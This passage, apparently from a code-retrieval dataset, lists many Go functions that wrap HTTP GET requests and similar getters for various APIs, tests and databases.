ioutil.ReadAll(resp.Body); err != nil {\n\t\treturn nil, err\n\t}\n\n\treturn body, nil\n}","func (api *API) GetLeague(ctx context.Context, leagueID string, page int) (*models.Resource, error) {\n\tmethod := \"GET\"\n\tpageString := strconv.Itoa(page)\n\tpath := api.URI + \"/leagues-classic/\" + leagueID + \"/standings/?page_standings=\" + pageString\n\tlogData := log.Data{\"url\": path, \"method\": method}\n\n\tURL, err := url.Parse(path)\n\tif err != nil {\n\t\tlog.Event(ctx, \"failed to create url for api call\", log.ERROR, log.Error(err), logData)\n\t\treturn nil, err\n\t}\n\tpath = URL.String()\n\tlogData[\"url\"] = path\n\n\tbody, err := api.makeGetRequest(ctx, method, path)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tdefer body.Close()\n\n\tvar resource models.Resource\n\tif err := json.NewDecoder(body).Decode(&resource); err != nil {\n\t\tlog.Event(ctx, \"unable to unmarshal bytes into league resource\", log.ERROR, log.Error(err), logData)\n\t\treturn nil, err\n\t}\n\n\t// Check and retrieve other pages\n\tif resource.Standings != nil && resource.Standings.HasNext {\n\t\tpage++\n\t\tnext, err := api.GetLeague(ctx, leagueID, page)\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\n\t\tresource.Standings.Results = append(resource.Standings.Results, next.Standings.Results...)\n\t}\n\n\tlog.Event(ctx, \"successfully got league\", log.INFO, log.Data{\"resource\": resource})\n\n\treturn &resource, nil\n}","func Get(url, token string) {\n\t// Create a Resty Client\n\tclient := resty.New()\n\tclient.SetAuthToken(token)\n\n\tresp, err := client.R().\n\t\tEnableTrace().\n\t\tGet(url)\n\n\t// Explore response object\n\tfmt.Println(\"Response Info:\")\n\tfmt.Println(\" Error :\", err)\n\tfmt.Println(\" Status Code:\", resp.StatusCode())\n\tfmt.Println(\" Status :\", resp.Status())\n\tfmt.Println(\" Proto :\", resp.Proto())\n\tfmt.Println(\" Time :\", resp.Time())\n\tfmt.Println(\" Received At:\", resp.ReceivedAt())\n\tfmt.Println(\" Body :\\n\", resp)\n\tfmt.Println()\n}","func (client *Client) Get(action string, params url.Values, header http.Header) (*Response, error) {\r\n\treturn client.Request(\"GET\", action, params, header, nil)\r\n}","func Get(url string, r io.Reader, w io.Writer, clientGenerator func() *http.Client, reqTuner ...func(*http.Request)) error {\n\treturn Request(\"GET\", url, r, w, clientGenerator, reqTuner...)\n}","func (c *Client) Get(url string, headers map[string]string, params map[string]interface{}) (*APIResponse, error) {\n\tfinalURL := c.baseURL + url\n\tr, err := http.NewRequest(\"GET\", finalURL, nil)\n\tif err != nil {\n\t\treturn nil, fmt.Errorf(\"Failed to create request: %v\", err)\n\t}\n\n\treturn c.performRequest(r, headers, params)\n}","func (t *ApiTester) Get(route string) (*ApiTesterResponse, error) {\n\t// prepare the request here\n\trequest, err := http.NewRequest(\"GET\", \"http://\"+t.Server.Listener.Addr().String()+route, nil)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\t// do the actual request here\n\tresponse, err := t.Client.Do(request)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tbodyBuffer, _ := ioutil.ReadAll(response.Body)\n\n\treturn &ApiTesterResponse{\n\t\tRawResponse: response,\n\t\tStatusCode: response.StatusCode,\n\t\tBodyStr: string(bodyBuffer),\n\t}, nil\n}","func (c *Client) get(rawURL string, authenticate bool, out interface{}) error {\n\terr := c.do(rawURL, \"GET\", authenticate, http.StatusOK, nil, out)\n\treturn errio.Error(err)\n}","func (mc *Controller) getRequest(requestParams driver.RequestType, postResponse driver.PostResponseType) driver.GetResponseType {\n\tlog.Debug().Msgf(\"Executing: getRequest.\")\n\tpolling := &backoff.Backoff{\n\t\tMin: 5 * time.Second,\n\t\tMax: 120 * time.Second,\n\t\tFactor: 2,\n\t\tJitter: false,\n\t}\n\tvar apiResponse *http.Response\n\trequestData := utils.HTTPRequestType{\n\t\tMethod: http.MethodGet,\n\t\tEndpoint: APIStackAnalyses + \"/\" + postResponse.ID,\n\t\tThreeScaleToken: requestParams.ThreeScaleToken,\n\t\tHost: requestParams.Host,\n\t\tUserID: requestParams.UserID,\n\t}\n\tfor {\n\t\td := polling.Duration()\n\t\tlog.Debug().Msgf(\"Sleeping for %s\", d)\n\t\ttime.Sleep(d)\n\t\tapiResponse = utils.HTTPRequest(requestData)\n\t\tif apiResponse.StatusCode != http.StatusAccepted {\n\t\t\t// Break when server returns anything other than 202.\n\t\t\tbreak\n\t\t}\n\t\tlog.Debug().Msgf(\"Retrying...\")\n\t}\n\tbody := mc.validateGetResponse(apiResponse)\n\treturn body\n}","func (workCloud *WorkCloud) get(url string) (string, error) {\n\treq, err := http.NewRequest(\"GET\", url, nil)\n\tif err != nil {\n\t\treturn \"\", err\n\t}\n\n\treq.Header.Add(\"User-Agent\", workCloud.agent)\n\n\tres, err := workCloud.client.Do(req)\n\tif err != nil {\n\t\treturn \"\", err\n\t}\n\tdefer res.Body.Close()\n\tb, err := ioutil.ReadAll(res.Body)\n\n\treturn string(b), nil\n}","func TezosRPCGet(arg string) (string, error){\n output, err := TezosDo(\"rpc\", \"get\", arg)\n if (err != nil){\n return output, errors.New(\"Could not rpc get \" + arg + \" : tezosDo(args ...string) failed: \" + err.Error())\n }\n return output, nil\n}","func (c *NATSTestClient) GetRequest(t *testing.T) *Request {\n\tselect {\n\tcase r := <-c.reqs:\n\t\treturn r\n\tcase <-time.After(timeoutSeconds * time.Second):\n\t\tif t == nil {\n\t\t\tpprof.Lookup(\"goroutine\").WriteTo(os.Stdout, 1)\n\t\t\tpanic(\"expected a request but found none\")\n\t\t} else {\n\t\t\tt.Fatal(\"expected a request but found none\")\n\t\t}\n\t}\n\treturn nil\n}","func (cm *clientMock) GetValue(url string) (*http.Response, error) {\n\treturn getRequestFunc(url)\n}","func (a *Client) GetUniverseRaces(params *GetUniverseRacesParams) (*GetUniverseRacesOK, error) {\n\t// TODO: Validate the params before sending\n\tif params == nil {\n\t\tparams = NewGetUniverseRacesParams()\n\t}\n\n\tresult, err := a.transport.Submit(&runtime.ClientOperation{\n\t\tID: \"get_universe_races\",\n\t\tMethod: \"GET\",\n\t\tPathPattern: \"/universe/races/\",\n\t\tProducesMediaTypes: []string{\"application/json\"},\n\t\tConsumesMediaTypes: []string{\"application/json\"},\n\t\tSchemes: []string{\"https\"},\n\t\tParams: params,\n\t\tReader: &GetUniverseRacesReader{formats: a.formats},\n\t\tContext: params.Context,\n\t\tClient: params.HTTPClient,\n\t})\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\treturn result.(*GetUniverseRacesOK), nil\n\n}","func (c *Client) Get(endpoint string, params map[string]string) *grequests.Response {\n\turl := c.Endpoint + endpoint\n\tresp, err := grequests.Get(url, &grequests.RequestOptions{\n\t\tParams: params,\n\t})\n\tif err != nil {\n\t\tutilities.CheckError(resp.Error, \"Unable to make requests\")\n\t}\n\n\tif resp.Ok != true {\n\t\tlog.Println(\"Request did not return OK\")\n\t}\n\n\treturn resp\n}","func Get(url string, data ...interface{}) (*ClientResponse, error) {\n\treturn DoRequest(\"GET\", url, data...)\n}","func Get(r *Resource) {\n\tchanJobs <- r\n}","func (y *Yeelight) CronGet(t string) string {\n\tcmd := `{\"id\":13,\"method\":\"cron_get\",\"params\":[` + t + `]}`\n\treturn y.request(cmd)\n}","func Get(url string, externalHeader ...map[string]string) ([]byte, error) {\n\t// check if request hit MaxParallel\n\tif cache.IsBurst(url) {\n\t\treturn nil, ErrMaxParallel\n\t}\n\tdefer cache.Release(url)\n\n\treq, err := http.NewRequest(http.MethodGet, url, nil)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\treq.Header.Set(\"Accept\", \"application/json\")\n\n\tfor _, v := range externalHeader {\n\t\tfor k := range v {\n\t\t\treq.Header.Set(k, v[k])\n\t\t}\n\t}\n\n\tresp, err := client.Do(req)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tdefer resp.Body.Close()\n\tvar bf bytes.Buffer\n\tpooledCopy(&bf, resp.Body)\n\treturn bf.Bytes(), nil\n}","func fnHttpGet(t *starlark.Thread, fn *starlark.Builtin, args starlark.Tuple, kwargs []starlark.Tuple) (starlark.Value, error) {\n\n\trequest, err := newRequestFromStarlarkArgs(\"GET\", args, kwargs)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\treturn newHttpResponse(http.DefaultClient.Do(request))\n}","func getCourse(code string) {\n\turl := baseURL + \"?key=\" + key\n\tif code != \"\" {\n\t\turl = baseURL + \"/\" + code + \"?key=\" + key\n\t}\n\tresponse, err := client.Get(url)\n\tif err != nil {\n\t\tfmt.Printf(\"The HTTP request failed with error %s\\n\", err)\n\t\tlog.Error(\"Error at get course function\", err.Error())\n\t} else {\n\t\tdata, _ := ioutil.ReadAll(response.Body)\n\t\tfmt.Println(response.StatusCode)\n\t\tfmt.Println(string(data))\n\t\tresponse.Body.Close()\n\t}\n}","func GetVehicle(ctx context.Context, client *mongo.Client, reg string) (structs.Vehicle, error) {\n\tvar result structs.Vehicle\n\n\tcol := client.Database(\"parkai\").Collection(\"vehicles\")\n\tfilter := bson.M{\n\t\t\"registration\": reg,\n\t}\n\n\t//reg does not exist\n\tif err := col.FindOne(ctx, filter).Decode(&result); err != nil {\n\t\treturn structs.Vehicle{}, err\n\t}\n\n\treturn result, nil\n}","func (c *Client) Get(url string, headers map[string][]string) (client.Status, map[string][]string, io.ReadCloser, error) {\n\treturn c.Do(\"GET\", url, headers, nil)\n}","func (c Client) get(path string, params url.Values, holder interface{}) error {\n\treturn c.request(\"GET\", path, params, &holder)\n}","func Get(c *gophercloud.ServiceClient, stackName, stackID, resourceName, eventID string) (r GetResult) {\n\tresp, err := c.Get(getURL(c, stackName, stackID, resourceName, eventID), &r.Body, nil)\n\t_, r.Header, r.Err = gophercloud.ParseResponse(resp, err)\n\treturn\n}","func (w *Worker) Get(c *http.Client, url string, bind interface{}) (int, error) {\n\tr, err := c.Get(url)\n\tif err != nil {\n\t\tif r != nil {\n\t\t\tioutil.ReadAll(r.Body)\n\t\t\tr.Body.Close()\n\t\t}\n\t\treturn 0, err\n\t}\n\tdefer r.Body.Close()\n\terr = json.NewDecoder(r.Body).Decode(bind)\n\tif bind == nil {\n\t\treturn r.StatusCode, nil\n\t}\n\treturn r.StatusCode, err\n}","func get(url string) (string, error) {\n\t//defer fetch.CatchPanic(\"Get()\")\n\tresp, err := httpClient.Get(url)\n\tif err != nil {\n\t\tpanic(\"Couldn't perform GET request to \" + url)\n\t}\n\tdefer resp.Body.Close()\n\tbytes, err := ioutil.ReadAll(resp.Body)\n\tif err != nil {\n\t\tpanic(\"Unable to read the response body\")\n\t}\n\ts := string(bytes)\n\treturn s, nil\n}","func httpGet(probe v1alpha1.ProbeAttributes, client *http.Client, resultDetails *types.ResultDetails) error {\n\t// it will retry for some retry count, in each iterations of try it contains following things\n\t// it contains a timeout per iteration of retry. if the timeout expires without success then it will go to next try\n\t// for a timeout, it will run the command, if it fails wait for the interval and again execute the command until timeout expires\n\treturn retry.Times(uint(probe.RunProperties.Retry)).\n\t\tTimeout(int64(probe.RunProperties.ProbeTimeout)).\n\t\tWait(time.Duration(probe.RunProperties.Interval) * time.Second).\n\t\tTryWithTimeout(func(attempt uint) error {\n\t\t\t// getting the response from the given url\n\t\t\tresp, err := client.Get(probe.HTTPProbeInputs.URL)\n\t\t\tif err != nil {\n\t\t\t\treturn err\n\t\t\t}\n\n\t\t\tcode := strconv.Itoa(resp.StatusCode)\n\t\t\trc := getAndIncrementRunCount(resultDetails, probe.Name)\n\n\t\t\t// comparing the response code with the expected criteria\n\t\t\tif err = cmp.RunCount(rc).\n\t\t\t\tFirstValue(code).\n\t\t\t\tSecondValue(probe.HTTPProbeInputs.Method.Get.ResponseCode).\n\t\t\t\tCriteria(probe.HTTPProbeInputs.Method.Get.Criteria).\n\t\t\t\tCompareInt(); err != nil {\n\t\t\t\tlog.Errorf(\"The %v http probe get method has Failed, err: %v\", probe.Name, err)\n\t\t\t\treturn err\n\t\t\t}\n\t\t\treturn nil\n\t\t})\n}","func (req *Req) Get(u string) ([]byte, error) {\n\treturn req.request(\"GET\", u)\n}","func (c *Client) Get(headers map[string]string, queryParams map[string]string) ([]byte, error) {\n\n\t// add parameters to the url\n\tv := url.Values{}\n\tfor key, value := range queryParams {\n\t\tv.Add(key, value)\n\t}\n\turi, err := url.Parse(c.baseURL)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\turi.RawQuery = v.Encode()\n\tc.baseURL = uri.String()\n\n\t// create a new get request\n\trequest, err := http.NewRequest(\"GET\", c.baseURL, nil)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\t// add headers to the request\n\tfor key, value := range headers {\n\t\trequest.Header.Add(key, value)\n\t}\n\n\tresponse, err := c.sendRequestWithRetry(request)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\t// if response is an error (not a 200)\n\tif response.StatusCode > 299 {\n\t\treturn nil, errors.New(response.Status)\n\t}\n\t// read the body as an array of bytes\n\tresponseBody, err := ioutil.ReadAll(response.Body)\n\treturn responseBody, err\n}","func Get(method, url string, params map[string]string, vPtr interface{}) error {\n\taccount, token, err := LoginWithSelectedAccount()\n\tif err != nil {\n\t\treturn LogError(\"Couldn't get account details or login token\", err)\n\t}\n\turl = fmt.Sprintf(\"%s%s\", account.ServerURL, url)\n\n\treq, err := http.NewRequest(method, url, nil)\n\tif err != nil {\n\t\treturn err\n\t}\n\tif token != \"\" {\n\t\treq.Header.Add(\"Authorization\", fmt.Sprintf(\"Bearer %s\", token))\n\t}\n\tq := req.URL.Query()\n\tfor k, v := range params {\n\t\tq.Add(k, v)\n\t}\n\treq.URL.RawQuery = q.Encode()\n\tresp, err := http.DefaultClient.Do(req)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tdefer CloseTheCloser(resp.Body)\n\n\tdata, _ := ioutil.ReadAll(resp.Body)\n\n\tif resp.StatusCode != 200 {\n\t\trespBody := map[string]interface{}{}\n\t\tif err := json.Unmarshal(data, &respBody); err != nil {\n\t\t\treturn err\n\t\t}\n\t\t_ = LogError(fmt.Sprintf(\"error while getting service got http status code %s - %s\", resp.Status, respBody[\"error\"]), nil)\n\t\treturn fmt.Errorf(\"received invalid status code (%d)\", resp.StatusCode)\n\t}\n\n\tif err := json.Unmarshal(data, vPtr); err != nil {\n\t\treturn err\n\t}\n\n\treturn nil\n}","func get(uri string) string {\n\tresp, err := http.Get(uri)\n\tif err != nil {\n\t\tpanic(err)\n\t}\n\n\tbody, err := io.ReadAll(resp.Body)\n\tif err != nil {\n\t\tpanic(err)\n\t}\n\n\treturn string(body)\n}","func (c *Connection) Get(urlToGet string) (resp *http.Response, err error) {\n\tif !c.ready {\n\t\terr = NotReadyError\n\t\treturn\n\t}\n\n\tlog.Debugf(\"[%s] getting %s\", c.name, urlToGet)\n\treq, err := http.NewRequest(\"GET\", urlToGet, nil)\n\tif err != nil {\n\t\treturn\n\t}\n\tfor h := range c.headers {\n\t\treq.Header.Set(h, c.headers[h])\n\t}\n\tresp, err = c.client.Do(req)\n\tif err != nil || resp.StatusCode != 200 {\n\t\tif err != nil {\n\t\t\tlog.Tracef(\"[%s] got error: %s\", c.name, err.Error())\n\t\t} else {\n\t\t\tlog.Tracef(\"[%s] got status code: %d\", c.name, resp.StatusCode)\n\t\t\t// bad code received, reload\n\t\t\tgo c.Connect()\n\t\t}\n\t}\n\n\treturn\n}","func (c *Client) Get(ctx context.Context, url string, data ...interface{}) (*Response, error) {\n\treturn c.DoRequest(ctx, http.MethodGet, url, data...)\n}","func (c *TogglHttpClient) GetRequest(endpoint string) (*json.RawMessage, error) {\n\treturn request(c, \"GET\", endpoint, nil)\n}","func (a *Client) Get(params *GetParams) (*GetOK, error) {\n\t// TODO: Validate the params before sending\n\tif params == nil {\n\t\tparams = NewGetParams()\n\t}\n\n\tresult, err := a.transport.Submit(&runtime.ClientOperation{\n\t\tID: \"get\",\n\t\tMethod: \"GET\",\n\t\tPathPattern: \"/\",\n\t\tProducesMediaTypes: []string{\"application/json; qs=0.5\", \"application/vnd.schemaregistry+json; qs=0.9\", \"application/vnd.schemaregistry.v1+json\"},\n\t\tConsumesMediaTypes: []string{\"application/json\", \"application/octet-stream\", \"application/vnd.schemaregistry+json\", \"application/vnd.schemaregistry.v1+json\"},\n\t\tSchemes: []string{\"http\", \"https\"},\n\t\tParams: params,\n\t\tReader: &GetReader{formats: a.formats},\n\t\tContext: params.Context,\n\t\tClient: params.HTTPClient,\n\t})\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\treturn result.(*GetOK), nil\n\n}","func Get(path string, fn http.HandlerFunc, c ...alice.Constructor) {\n\tinfoMutex.Lock()\n\trecord(\"GET\", path)\n\tr.Get(path, alice.New(c...).ThenFunc(fn).(http.HandlerFunc))\n\tinfoMutex.Unlock()\n}","func (c *Client) Get(url string, headers, queryParams map[string][]string) (response *http.Response, err error) {\n\treturn c.makeRequest(url, http.MethodGet, headers, queryParams, nil)\n}","func (a *Client) Get(params *GetParams) (*GetOK, error) {\n\t// TODO: Validate the params before sending\n\tif params == nil {\n\t\tparams = NewGetParams()\n\t}\n\n\tresult, err := a.transport.Submit(&runtime.ClientOperation{\n\t\tID: \"get\",\n\t\tMethod: \"GET\",\n\t\tPathPattern: \"/\",\n\t\tProducesMediaTypes: []string{\"application/json; qs=0.5\", \"application/vnd.schemaregistry+json; qs=0.9\", \"application/vnd.schemaregistry.v1+json\"},\n\t\tConsumesMediaTypes: []string{\"application/json\", \"application/octet-stream\", \"application/vnd.schemaregistry+json\", \"application/vnd.schemaregistry.v1+json\"},\n\t\tSchemes: []string{\"http\", \"https\"},\n\t\tParams: params,\n\t\tReader: &GetReader{formats: a.formats},\n\t\tContext: params.Context,\n\t\tClient: params.HTTPClient,\n\t})\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tsuccess, ok := result.(*GetOK)\n\tif ok {\n\t\treturn success, nil\n\t}\n\t// unexpected success response\n\t// safeguard: normally, absent a default response, unknown success responses return an error above: so this is a codegen issue\n\tmsg := fmt.Sprintf(\"unexpected success response for get: API contract not enforced by server. Client expected to get an error, but got: %T\", result)\n\tpanic(msg)\n}","func (cli *OpsGenieTeamClient) Get(req team.GetTeamRequest) (*team.GetTeamResponse, error) {\n\treq.APIKey = cli.apiKey\n\tresp, err := cli.sendRequest(cli.buildGetRequest(teamURL, req))\n\n\tif resp == nil {\n\t\treturn nil, err\n\t}\n\tdefer resp.Body.Close()\n\n\tvar getTeamResp team.GetTeamResponse\n\n\tif err = resp.Body.FromJsonTo(&getTeamResp); err != nil {\n\t\tmessage := \"Server response can not be parsed, \" + err.Error()\n\t\tlogging.Logger().Warn(message)\n\t\treturn nil, errors.New(message)\n\t}\n\treturn &getTeamResp, nil\n}","func (c *Client) Get(url string) (*http.Response, error) {\n\tb := c.breakerLookup(url)\n\tif b == nil {\n\t\treturn c.client.Get(url)\n\t}\n\n\tctx := getGetCtx()\n\tdefer releaseGetCtx(ctx)\n\n\tctx.Client = c.client\n\tctx.ErrorOnBadStatus = c.errOnBadStatus\n\tctx.URL = url\n\tif err := b.Call(ctx, breaker.WithTimeout(c.timeout)); err != nil {\n\t\treturn nil, err\n\t}\n\treturn ctx.Response, ctx.Error\n}","func TestGetVehicle(t *testing.T) {\n\tsetUp(t)\n\tdefer tearDown()\n\n\t// Expect DB FindVehicle\n\tvehicle := model.Vehicle{Vin: \"vin1\", EngineType: \"Combustion\", EvData: nil}\n\tmockVehicleDAO.EXPECT().FindVehicle(gomock.Eq(\"vin1\")).Return(&vehicle, nil)\n\n\t// Send GET request\n\treq, err := http.NewRequest(\"GET\", \"/vehicle?vin=vin1\", nil)\n\trequire.NoError(t, err)\n\trr := httptest.NewRecorder()\n\thandlers.GetVehicle(rr, req)\n\n\t// Check code\n\trequire.Equal(t, 200, rr.Code)\n\n\t// Check body\n\tvar responseVehicle model.Vehicle\n\terr = helpers.DecodeJSONBody(rr.Body, &responseVehicle)\n\trequire.NoError(t, err)\n\trequire.Equal(t, vehicle, responseVehicle)\n}","func getTeam(params martini.Params, w http.ResponseWriter, r *http.Request) {\n\tid := params[\"team\"]\n\tteam := models.NewTeam(id)\n\tskue.Read(view, team, nil, w, r)\n}","func Get(url string, res interface{}) (interface{}, error) {\n\tlog.Debug(\"GET %s token: %s\", url, *tokenPtr)\n\tr := resty.R()\n\tif res != nil {\n\t\tr.SetResult(res)\n\t}\n\tr.SetHeader(\"Authorization\", fmt.Sprintf(\"Bearer %s\", *tokenPtr))\n\tresp, err := r.Get(url)\n\tif err == nil && resp.StatusCode() != 200 {\n\t\treturn nil, fmt.Errorf(\"GET Request returned error %d: \", resp.StatusCode())\n\t}\n\treturn resp.Result(), err\n}","func (c *Client) RenterGet() (rg api.RenterGET, err error) {\n\terr = c.get(\"/renter\", &rg)\n\treturn\n}","func (tc *tclient) get() error {\n\t// 1 -- timeout via context.\n\tctx, cancel := context.WithTimeout(context.Background(), 10*time.Second)\n\tdefer cancel()\n\n\treq, err := http.NewRequestWithContext(ctx,\n\t\t\"GET\", tc.url+\"/ping\", nil)\n\n\tresp, err := tc.client.Do(req)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tbody, err := ioutil.ReadAll(resp.Body)\n\tif err != nil {\n\t\treturn err\n\t}\n\tlog.Printf(\"SUCCESS: '%s'\", string(body))\n\treturn nil\n}","func infrastructure(client *http.Client, url string) ([]byte, error) {\n\treq, err := http.NewRequest(\"GET\", url, nil) // define req as request to the GET function\n\tresp, err := client.Do(req) // do the request\n\tif err != nil {\n\t\treturn nil, fmt.Errorf(\"client req error: \" + err.Error())\n\t} else { // if there is an error, return nil and the error message\n\t\tresponseBody, err := ioutil.ReadAll(resp.Body) // responseBody will get the body of \"resp\" - the output from the GET request.\n\t\tif err != nil {\n\t\t\treturn nil, fmt.Errorf(\"body read error: \" + err.Error())\n\t\t} else {\n\t\t\treturn responseBody, err\n\t\t}\n\t}\n}","func (c *Client) Get(path string) (f interface{}, err error) {\n\treturn c.do(\"GET\", path, nil)\n}","func GetRaceByAddress(address string) models.Race {\n\tsession := connect()\n\tdefer session.Close()\n\n\tc := session.DB(\"fellraces\").C(\"raceinfo\")\n\n\tvar race models.Race\n\tc.Find(bson.M{\"venue\": address}).One(&race)\n\n\treturn race\n}","func (api *PrimaryAPI) GetAllRaces(w http.ResponseWriter, r *http.Request) {\n\n\tv, err := api.Election.GetAllRaces()\n\tif err != nil {\n\t\tw.WriteHeader(500)\n\t\tw.Write([]byte(err.Error()))\n\t\treturn\n\t}\n\n\tWriteJSON(w, v)\n\n}","func (F *Frisby) Get(url string) *Frisby {\n\tF.Method = \"GET\"\n\tF.Url = url\n\treturn F\n}","func (session *Session) Get(path string, params Params) (res Result, err error) {\n\turlStr := session.app.BaseEndPoint + session.getRequestUrl(path, params)\n\n\tvar response []byte\n\tresponse, err = session.SendGetRequest(urlStr)\n\n\tif err != nil {\n\t\treturn\n\t}\n\n\tres, err = MakeResult(response)\n\treturn\n}","func (l *RemoteProvider) GetSchedule(req *http.Request, scheduleID string) ([]byte, error) {\n\tif !l.Capabilities.IsSupported(PersistSchedules) {\n\t\tlogrus.Error(\"operation not available\")\n\t\treturn nil, ErrInvalidCapability(\"PersistSchedules\", l.ProviderName)\n\t}\n\n\tep, _ := l.Capabilities.GetEndpointForFeature(PersistSchedules)\n\n\tlogrus.Infof(\"attempting to fetch schedule from cloud for id: %s\", scheduleID)\n\n\tremoteProviderURL, _ := url.Parse(fmt.Sprintf(\"%s%s/%s\", l.RemoteProviderURL, ep, scheduleID))\n\tlogrus.Debugf(\"constructed schedule url: %s\", remoteProviderURL.String())\n\tcReq, _ := http.NewRequest(http.MethodGet, remoteProviderURL.String(), nil)\n\n\ttokenString, err := l.GetToken(req)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tresp, err := l.DoRequest(cReq, tokenString)\n\tif err != nil {\n\t\treturn nil, ErrFetch(err, \"Perf Schedule :\"+scheduleID, resp.StatusCode)\n\t}\n\tdefer func() {\n\t\t_ = resp.Body.Close()\n\t}()\n\tbdr, err := ioutil.ReadAll(resp.Body)\n\tif err != nil {\n\t\treturn nil, ErrDataRead(err, \"Perf Schedule :\"+scheduleID)\n\t}\n\n\tif resp.StatusCode == http.StatusOK {\n\t\tlogrus.Infof(\"schedule successfully retrieved from remote provider\")\n\t\treturn bdr, nil\n\t}\n\treturn nil, ErrFetch(err, fmt.Sprint(bdr), resp.StatusCode)\n}","func get(pth string) (int, []byte, error) {\n\tresp, err := http.Get(Protocol + path.Join(URL, pth))\n\tif err != nil {\n\t\treturn 0, nil, err\n\t}\n\tdefer resp.Body.Close()\n\n\tbody, err := ioutil.ReadAll(resp.Body)\n\tif err != nil {\n\t\treturn 0, nil, err\n\t}\n\n\treturn resp.StatusCode, body, nil\n}","func Get(url string) (resp *http.Response, err error) {\n\treturn do(\"GET\", url, nil)\n}","func (c *Client) Get(path string) (io.ReadCloser, error) {\n\n\treq, err := http.NewRequest(\"GET\", c.url+\"/\"+path, nil)\n\tif err != nil {\n\t\tlog.Fatalln(\"Failed: %v\", err)\n\t\treturn nil, err\n\t}\n\n\tlog.Printf(\"URL: %v\\n\", req.URL)\n\n\treq.Header.Add(\"Authorization\", \"Bearer \"+c.apiKey)\n\n\tresp, err := c.client.Do(req)\n\tif err != nil {\n\t\tlog.Fatalln(\"Failed: %v\", err)\n\t\treturn nil, err\n\t}\n\n\treturn resp.Body, nil\n}","func get(stub shim.ChaincodeStubInterface, args []string) (string, error) {\n if len(args) != 1 {\n return \"\", fmt.Errorf(\"Incorrect arguments. Expecting a key\")\n }\n\n PatientBytes, err := stub.GetState(args[0])\n if err != nil {\n return \"\", fmt.Errorf(\"Failed to get asset: %s with error: %s\", args[0], err)\n }\n if PatientBytes == nil {\n return \"\", fmt.Errorf(\"Asset not found: %s\", args[0])\n }\n return string(PatientBytes), nil\n}","func (c *Client) Get(endpoint string) ([]byte, error) {\n\treservation := c.limiter.Reserve()\n\n\tif !reservation.OK() {\n\t\tduration := reservation.DelayFrom(time.Now())\n\t\treservation.Cancel()\n\t\treturn nil, fmt.Errorf(ErrRateLimited, duration.Milliseconds())\n\t}\n\n\treqUrl := c.client.BaseUrl + endpoint\n\terr := c.PrepareRequest(http.MethodGet, endpoint, reqUrl, nil)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\terr = c.client.Submit()\n\tif err != nil {\n\t\treturn nil, errors.Wrap(err, \"error submitting request\")\n\t}\n\n\treservation.Cancel()\n\n\treturn c.client.Response.Body(), nil\n}","func (api *apiConfig) MethodGet(uri string, queryParams map[string]string, decodedResponse interface{}) error {\n\t// If an override was configured, use it instead.\n\tif api.methodGet != nil {\n\t\treturn api.methodGet(uri, queryParams, decodedResponse)\n\t}\n\n\t// Form the request to make to WebFlow.\n\treq, err := http.NewRequest(\"GET\", api.BaseURL+uri, nil)\n\tif err != nil {\n\t\treturn errors.New(fmt.Sprint(\"Unable to create a new http request\", err))\n\t}\n\n\t// Webflow needs to know the auth token and the version of their API to use.\n\treq.Header.Set(\"Authorization\", \"Bearer \"+api.Token)\n\treq.Header.Set(\"Accept-Version\", defaultVersion)\n\n\t// Set query parameters.\n\tif len(queryParams) > 0 {\n\t\tquery := req.URL.Query()\n\t\tfor key, val := range queryParams {\n\t\t\tquery.Add(key, val)\n\t\t}\n\t\treq.URL.RawQuery = query.Encode()\n\t}\n\n\t// Make the request.\n\tres, err := api.Client.Do(req)\n\tif err != nil {\n\t\treturn err\n\t}\n\t// TODO: read docs for ReaderCloser.Close() to determine what to do when it errors.\n\tdefer res.Body.Close()\n\n\t// Status codes of 200 to 299 are healthy; the rest are an error, redirect, etc.\n\tif res.StatusCode >= 300 || res.StatusCode < 200 {\n\t\terrResp := &GeneralError{}\n\t\tif err := json.NewDecoder(res.Body).Decode(errResp); err != nil {\n\t\t\treturn fmt.Errorf(\"Unknown API error; status code %d; error: %+v\", res.StatusCode, err)\n\t\t}\n\t\treturn errors.New(errResp.Err)\n\t}\n\n\tif err := json.NewDecoder(res.Body).Decode(decodedResponse); err != nil {\n\t\treturn err\n\t}\n\n\treturn nil\n}","func (g *Getter) Get(url string) (*http.Response, error) {\n\treturn g.Client.Get(url)\n}","func Get(domain, url, token, tokenKey string) (*http.Response, error) {\n\t/*\n\t * First we will initalize the client\n\t * Then we will send the get request\n\t * Then we will return the response\n\t */\n\t//initalizing the client\n\tclient := heimdallC.NewClient(\n\t\theimdallC.WithHTTPClient(&myHTTPClient{\n\t\t\ttoken: token,\n\t\t\ttokenKey: tokenKey,\n\t\t\tdomain: domain,\n\t\t}),\n\t)\n\n\t//then we will make the request\n\tres, err := client.Get(url, http.Header{})\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\t//return the response\n\treturn res, nil\n}","func (r raceMongoRepo) GetRaceByID(id string) (*domain.Race, error) {\n\tfmt.Printf(\"ID %v\", id)\n\ti := bson.IsObjectIdHex(id)\n\tif !i {\n\t\tfmt.Println(\"not a valid hex\")\n\t\treturn nil, errors.New(\"Not a valid id\")\n\t}\n\trm := RaceMongo{\n\t\tID: bson.ObjectIdHex(id),\n\t}\n\terr := r.session.DB(\"dnd5e\").C(\"races\").With(r.session.Copy()).FindId(rm.ID).One(&rm)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\treturn mapRaceToDomain(&rm), nil\n}","func (s *FrontendServer) Get(ctx context.Context, req *pb.GetRequest) (*pb.GetResponse, error) {\n\tvar err error\n\tvar returnErr error = nil\n\tvar returnRes *pb.GetResponse\n\tvar res *clientv3.GetResponse\n\tvar val string\n\tctx, cancel := context.WithTimeout(context.Background(), 5*time.Second)\n\tdefer cancel()\n\tkey := 